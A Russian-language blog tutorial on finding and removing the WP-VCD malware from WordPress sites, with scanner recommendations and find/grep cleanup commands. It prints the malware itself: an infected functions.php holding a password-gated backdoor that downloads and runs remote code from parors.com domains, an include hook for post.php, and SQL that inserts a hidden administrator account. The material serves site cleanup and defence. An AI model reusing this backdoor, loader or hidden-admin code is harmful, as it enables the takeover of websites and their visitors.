WordPress вирусы — это проблема, с которой встречаются многие владельцы сайтов на ВордПресс, при этом, некоторые могут и не знать о ее существовании. Причина, возможно в том, что Malware может быть незаметным, а именно, сайт будет работать, но при этом совершать какие-то действия выгодные для злоумышленника, не привлекая внимания владельца сайта. Также не все владельцы могут WordPress проверить на вирусы, по причине того, что просто не знают, как это сделать.
Хотите узнать, как проверить сайт ВордПресс на вирусы и самостоятельно удалить распространенное вредоносное ПО из WordPress CMS? – в этой статье вы найдете некоторые решения данной проблемы.
WordPress вирусы: причины попадания на сайт и симптомы заражения
Поскольку WordPress является чрезвычайно открытой системой (данная CMS с открытым исходным кодом). Одной из часто встречающихся проблем из-за этого, является вредоносное ПО, которое может попасть на сайт различными путями:
- От фрилансеров, выполняющих какую-то работу за вас, но, возможно, испытывающих недостаток в бдительности, чтобы неосознанно вызвать заражение вашего проекта.
- Из-за использования плагинов и шаблонов, скачанных из непроверенных источников. Зачастую это касается премиальных платных продуктов, которые вы скачиваете бесплатно.
- По причине беспечности самих владельцев сайтов, например небеpопасное использование FTP, не надежный пароль и тд.
Безусловно существуют и другие пути «подхватить» wordpress вирусы, такие как не надежный хостинг, целенаправленная атака на ваш сайт конкурентами или через слабые места в самом ВордПресс.
WordPress вирусы: симптомы
Это знакомая история, и обычно она звучит так: вы нанимаете кого-то, чтобы внести некоторые изменения в ваш проект WordPress — может быть, даже какую-то разработку, и тогда все кажется просто отлично, но через некоторое время ваш сайт WordPress начинает работать, занимая больше системных ресурсов, чем следовало бы, иногда сбои с внутренними ошибками сервера 500 или отображение какого-либо неправильного поведения.
Другой ситуацией может быть обнаружение исходящих ссылок с вашего сайта, в панели webmaser.yandex.com, на ресурсы, которые вы видите впервые. Бывает, что при переходе на ваш сайт, например с мобильного устройства срабатывает редирект на сторонний ресурс, при этом с ПК сайт работает в штатном режиме.
И тогда вы могли бы даже обвинить в этом хостинг и недостаток ресурсов. При этом, казалось бы код был уже проверен и оптимизирован, меры предосторожности были приняты, верно? Что может быть не так тогда?
Что ж, вот плохие новости: может быть, сканирование вашего провайдера / облачного сервиса на вредоносное ПО было не таким тщательным, как им показалось и антивирус для ВордПресс пропустил какую-то угрозу. Возможно, ваш сайт WordPress был незаметно заражен вредоносным ПО. В любом случае велика вероятность wp-vcd позитивности на сайте и если это так, то ниже разберемся как это проверить, а также, как с этим нужно бороться.
WordPress вирусы: как проверить, есть ли в вашем е WordPress сайте вредоносная программа wp-vcd?
Иногда встречается в файлы с именем wp-vcd.php или wp-tmp.php, главная цель этой конкретной вредоносной программы — добавление секретного пользователя-администратора в бэкэнд сайтов WordPress или исходящих ссылок и скриптов. Согласно Bleeping Computer, злоумышленники используют эту «черную» учетную запись для открытия соединений с зараженными сайтами, чтобы злоумышленники могли проводить атаки по сценарию в более поздние сроки.
Выполнение сканирования вредоносных программ WordPress с помощью плагина
Если вы не технический специалист, возможно, вы захотите пойти легким путем и использовать готовое программное обеспечение для сканирования вашего сайта. Существует популярный плагин под названием «Wordfence» как с бесплатной облегченной версией, так и с премиум-версией. К счастью, функция сканирования на наличие вредоносных программ включена в бесплатной версии.
Следует отметить, что даже бесплатная версия данного плагина справилась с поиском и точно указала WordPress вирусы на сайте. WordPress проверка плагинов и тем на вредоносный код с помощью Wordfence будет понятна даже самым неподготовленным пользователям. Плагин показывает, какие файлы и участки кода выглядят подозрительно, после чего вы поможете изучить их и удалить с вашего сайта. Своего рода это бесплатный антивирус для ВордПресс.
Экспресс проверка wordpress на вирусы онлайн
Также быстро проверить сайт на наличие вредоносных скриптов и вирусов можно при помощи специальных онлайн сервисов. Данный способ подойдет больше новичкам, потому что он наиболее простой, достаточно ввести адрес своего сайта WordPress, вирусы на котором вы считаете могут быть. К таким сервисам относятся:
- https://www.virustotal.com — Анализ подозрительных файлов и URL-адресов для обнаружения типов вредоносных программ, автоматически делиться ими с сообществом безопасности.
- https://rescan.pro — это бесплатный веб-сканер сайтов, который помогает веб-мастерам и владельцам сайтов оперативно проверить ресурсы на вирусы (скрытые редиректы, зашифрованные вредоносные скрипты на странице, опасные виджеты, вредоносные партнерские скрипты и шпионские вставки, вирусные загрузки и Drive-By атаки, спам-ссылки и спам-контент, наличие сайта в блэк-листах поисковых систем и антивирусов, ошибки на сайте, дефейс сайта и др), взлом и другие проблемы безопасности менее чем за 60 секунд.
- https://sitecheck.sucuri.net — Бесплатный сайт поиска вредоносных программ и сканер безопасности. Введите URL (например, sucuri.net), и сканер Sucuri SiteCheck проверит сайт на наличие известных вирусных и вредоносных программ, статусы в черном списке, ошибок сайта и устаревшего ПО.
Следует отметить, что бесплатная проверка на данных ресурсах имеет ряд ограничений, но для экспресс анализа вполне подойдут.
Примечание: В нашей практике два последних вышеперечисленных сервиса, показали наличие проблем на сайте, что потом и подтвердилось после более глубокого изучения проблемы.
WordPress проверка плагинов и тем на WP-VCD вредоносное ПО вручную, чтобы проверить, не заражен ли WordPress
Если вы не предпочитаете использовать плагин, который может создать дополнительную нагрузку на ресурсы вашего сервера, и предпочитаете делать это вручную, вот пошаговое руководство. Если у вас есть базовые навыки работы с UNIX / Linux, ниже проведен для вас весь процесс, начиная с терминала командной строки.
Прежде всего, откройте сеанс терминала в SSH-оболочке. Если вы работаете на компьютере Mac или Linux / UNIX, просто запустите окно терминала и SSH на ваш сервер. В Windows вы можете использовать бесплатное приложение, такое как PuTTy или, что еще лучше, установка и использование GitBash — это предпочтительный способ запуска команд UNIX / Linux в Windows.
В любом случае, следующий шаг — проверить, существуют ли какие-либо наиболее типичные файлы, созданные вредоносным ПО wp-vcd, скрывающиеся в файловой системе.
Теперь, находясь в Терминале, измените каталог на корневой каталог вашей установки WordPress, т.е. cd/path/to/your-wordpress, и выполните следующую команду:
1 2 |
find . -type f \( -name "wp-vcd.php" -o -name "wp-tmp.php" -o -name "class.theme-modules.php" -o -name "class.plugin-modules.php" \) |
Это ищет наличие следующих файлов в файловой системе, где установлен WordPress:
- wp-vcd.php
- wp-tmp.php
- theme-modules.php
- plugin-modules.php
Хотите верьте, хотите нет, но приведенные выше файлы не должны присутствовать в стандартной конфигурации WordPress , и после выполнения вышеуказанной команды поиска, если что-то будет найдено, результаты будут отображаться построчно с путями относительно вашего текущего каталога. Отсутствие результатов означает, что файлы, созданные вредоносной программой wp-vcd, отсутствуют. Если вышеназванный файлы присутствуют в каталоге вашего сайта ВордПресс, то их следует удалить, но как правильно очистить ВордПресс вирусы читайте ниже.
Как правильно удалить wordpress вирусы?
В качестве следующего шага неплохо сразу удалить эти файлы, выполнив команду удаления, указав путь к файлу, который вы можете просто скопировать и вставить из результатов поиска в окне терминала, но не все так просто.
При условии заражения, если вы не можете найти источник проблемы, эти файлы могут и, скорее всего, будут воссозданы после того, как следующий HTTP-запрос попадет на веб-сервер для запуска страницы WordPress (точнее, post.php), который также скорее всего, уже заражен.
Тем не менее, прежде чем переходить к удалению непосредственно вредоносного кода, смените пароли на хостинге, базы данных и от админки сайта. Теперь перейдем непосредственно к удалению вируса WordPress.
Как определить, какие файлы кода распространяют вирус ВордПресс?
Прежде чем удалять, код следует разобраться, как он устроен, и почему он распространяется на вашем сайте. Самый простой способ определить, какая часть кода PHP создает эти вредоносные файлы, — это быстрый поиск определенных фрагментов текста во всех файлах PHP, чтобы вы знали, с чем сталкиваетесь.
Как работает вредоносная программа WP-VCD
Если источником вредоносного ПО является тема WordPress, отправной точкой вредоносного кода является файл functions.php самой темы. Это не обязательно означает, что именно эта тема в первую очередь породила вредоносное ПО, но как только какой-либо из ваших файлов WordPress каким-либо образом инфицируется из установленного надстройки, functions.php активной темы обычно является одним из первые мест, куда попадает вирус WordPress при распространении по нескольким каталогам WordPress.
После активации темы, содержащей вредоносный код, некоторые из ваших основных файлов WordPress заражаются. Излишне говорить, что папка wp-include станет следующим местом «преступления» в этом направлении. По крайней мере wp-vcd.php и / или wp-tmp.php будут выведены. Что еще хуже, некоторый вредоносный код будет внедрен в post.php в wp- include, который является стандартным файлом WordPress, который лежит в основе каждого блога WP.
Примечание: В некоторых случаях заражаются не все перечисленные выше файлы, но wp-vcd.php и / или wp-tmp.php в нашей практике обнаруживались всегда, наряду с заражением functions.php.
Чтобы выяснить, какие файлы заражены и создают любой из четырех вышеупомянутых вредоносных файлов, вы можете вернуться в Терминал и в родительском каталоге, содержащем все файлы WordPress, выполнить команду grep, подобную следующей, которая будет искать в коде все файлы PHP, если любой из четырех основных вредоносных файлов упоминается:
1 2 |
grep -r --include=*.php -e "class.plugin-modules.php" -e "class.theme-modules.php" -e "wp-vcd.php" -e "wp-tmp.php". |
Если заражение отсутствует, команда ничего не вернет, в противном случае будут перечислены все имена файлов с путями, а также фрагмент кода, следующий за именем файла после двоеточия. Обычно в зараженных плагинах или темах будет блок кода, подобный следующему:
1 2 3 4 5 6 7 |
if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } |
Вредоносный код, содержащий закодированные строки, внедряется в файл functions.php темы или плагина WordPress (а затем и все они по мере распространения) и начинается со сброса даты и времени изменения, чтобы сделать его менее заметным. Затем он заполняет удаленно базу данных / массив имен хостов и паролей инъекций кода и загружает содержимое удаленного текстового файла в class.wp.php. А в зараженных темах WordPress следующий код добавляется в начало кода functions.php самой темы:
Файл class.theme-modules.php (или class.plugin-modules.php в случае зараженных или зараженных плагинов) является одним из четырех файлов, упомянутых в начале текста, который затем будет включен в добавленный код в functions.php. Зашифрованный вредоносный код в нем устанавливает вредоносную программу wp-vcd в тему и создает остальные вредоносные файлы.
В какой последовательности стоит удалить wp-vcd вирус WordPress?
Хотя удаление это более чем способ избавиться от этой вредоносной программы, следует помнить, что они могут быть созданы снова, если удаление было выполнено неправильно. Начинать следует с очистки файлов post.php и functions.php и только потом переходить к удалению знакомой нам четверки файлов:
- wp-vcd.php
- wp-temp.php
- theme-modules.php
- plugin-modules.php
Примечание: эксперементально было выяснено, что удалив эту четверку вручную и удалив остальную часть вредоносного кода из файлов post.php и functions.php — не обязательно в этом порядке, приводил к повторному созданию вирусного кода WordPress.
Удаление WP-VCD вируса вручную из post.php и functions.php
Если вы внимательно прочитали вышеизложенное, вы уже знаете, какие файлы обязательно будут удалены, но если мы не удалим код, который их сначала использует, они будут созданы в кратчайшие сроки.
Итак, в качестве первого шага найдите, какие файлы post.php и functions.php содержат вредоносный код, а затем удалите (или закомментируйте, если вы предпочитаете их анализировать) этот код. Чтобы быть более точным, то, что нужно удалить из functions.php, если оно заражено, находится прямо ниже.
Типичный файл functions.php из простой темы WordPress до заражения:
1 2 3 4 5 |
define('MFN_THEME_VERSION', '21.0.5');// theme related filtersadd_filter ('widget_text', 'do_shortcode');add_filter('the_excerpt', 'shortcode_unautop'); add_filter('the_excerpt', 'do_shortcode'); /** * White Label * IMPORTANT: We recommend the use of Child Theme to change this */defined('WHITE_LABEL') or define('WHITE_LABEL', false); |
functions.php после того, как WordPress вирусы заразили его:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 |
<?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '19a3c50636b1f5c014d4ca2beaa8fb02')) { $div_code_name="wp_vcd"; switch ($_REQUEST['action']) { case 'change_domain'; if (isset($_REQUEST['newdomain'])) { if (!empty($_REQUEST['newdomain'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain)) { $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; case 'change_code'; if (isset($_REQUEST['newcode'])) { if (!empty($_REQUEST['newcode'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode)) { $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die(""); } $div_code_name = "wp_vcd"; $funcfile = __FILE__; if(!function_exists('theme_temp_setup')) { $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { function file_get_contents_tcurl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); $data = curl_exec($ch); curl_close($ch); return $data; } function theme_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); if( fwrite($handle, "<?php\n" . $phpCode)) { } else { $tmpfname = tempnam('./', "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?php\n" . $phpCode); } fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } $wp_auth_key='12335f8c45ff73be536601a7562a3220'; if (($tmpcontent = @file_get_contents("http://www.parors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.parors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents("http://www.parors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents("http://www.parors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } } } //$start_wp_theme_tmp //wp_tmp //$end_wp_theme_tmp ?><?php /** * Theme Functions * * @package Betheme * @author Muffin group * @link https://muffingroup.com */ define('MFN_THEME_VERSION', '21.0.5'); // theme related filters add_filter('widget_text', 'do_shortcode'); add_filter('the_excerpt', 'shortcode_unautop'); add_filter('the_excerpt', 'do_shortcode'); /** * White Label * IMPORTANT: We recommend the use of Child Theme to change this */ |
Чтобы удалить вредоносную часть кода, удалите строки от 1 до 174 в приведенном выше примере.
Затем удалите только следующее из post.php в папке / каталоге wp-includes:
1 2 |
<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?> |
или замените post.php на тот же из чистой установки WordPress: /wp-includes/post.php
Другие файлы WordPress, которые могут быть заражены вирусом wp-vcd, class.wp.php
Class.wp.php, который обычно является стандартным базовым файлом WordPress в wp- include, в конечном итоге попытается внедрить пользователя для будущих злоумышленников в базе данных WordPress, выполнив такой код:
1 2 3 4 5 |
$ wpdb - > query ( "INSERT INTO $ wpdb-> users (` ID`, `user_login`, ` user_pass`, `user_nicename`,` user_email`, `user_url`,` user_registered`, `user_activation_key`,` user_status` , `display_name`) VALUES ('100010010', '100010010', '\ $ P \ $ BaRp7gFRTND5AwwJwpQY8EyN3otDiL.', '100010010', 'te@ea.st', '', '2011-06-07 00:00: 00 ',' ',' 0 ',' 100010010 '); " ) ; |
В нашем случае этот файл никогда не заражался, поскольку в нем не было ни кода, подобного описанному выше, ни контрольной проверки с чистым и оригинальным аналогом WordPress, но ничего не было обнаружено. Если вы обнаружите заражение вредоносным ПО, это очень хорошая идея заменить всю папку wp-includes с чистой папкой из новой загрузки WordPress — убедитесь, что версии совпадают.
Завершающий этап удаления вируса WordPress
Наконец, удалите все экземпляры файлов wp-vcd.php , wp-temp.php , class.theme-modules.php и class.plugin-modules.php, которые могут распространяться в ваших установках WordPress.
Из терминала командной строки после перехода в родительский каталог, содержащий все ваши файлы и подкаталоги WordPress, вы можете использовать следующую команду — все в одной строке — для поиска и уничтожения всех четырех вредоносных файлов одним «выстрелом»:
1 2 |
find . -type f \( -name "wp-vcd.php" -o -name "wp-tmp.php" -o -name "class.theme-modules.php" -o -name "class.plugin-modules.php" \) -delete |
Файл class.theme-modules.php, обычно состоящий из приведенного ниже кода, содержит большой блок текста в кодировке Base64, который нетрудно обнаружить при проверке его исходного кода.
Последним шагом следует обновить ВордПресс до последней версии.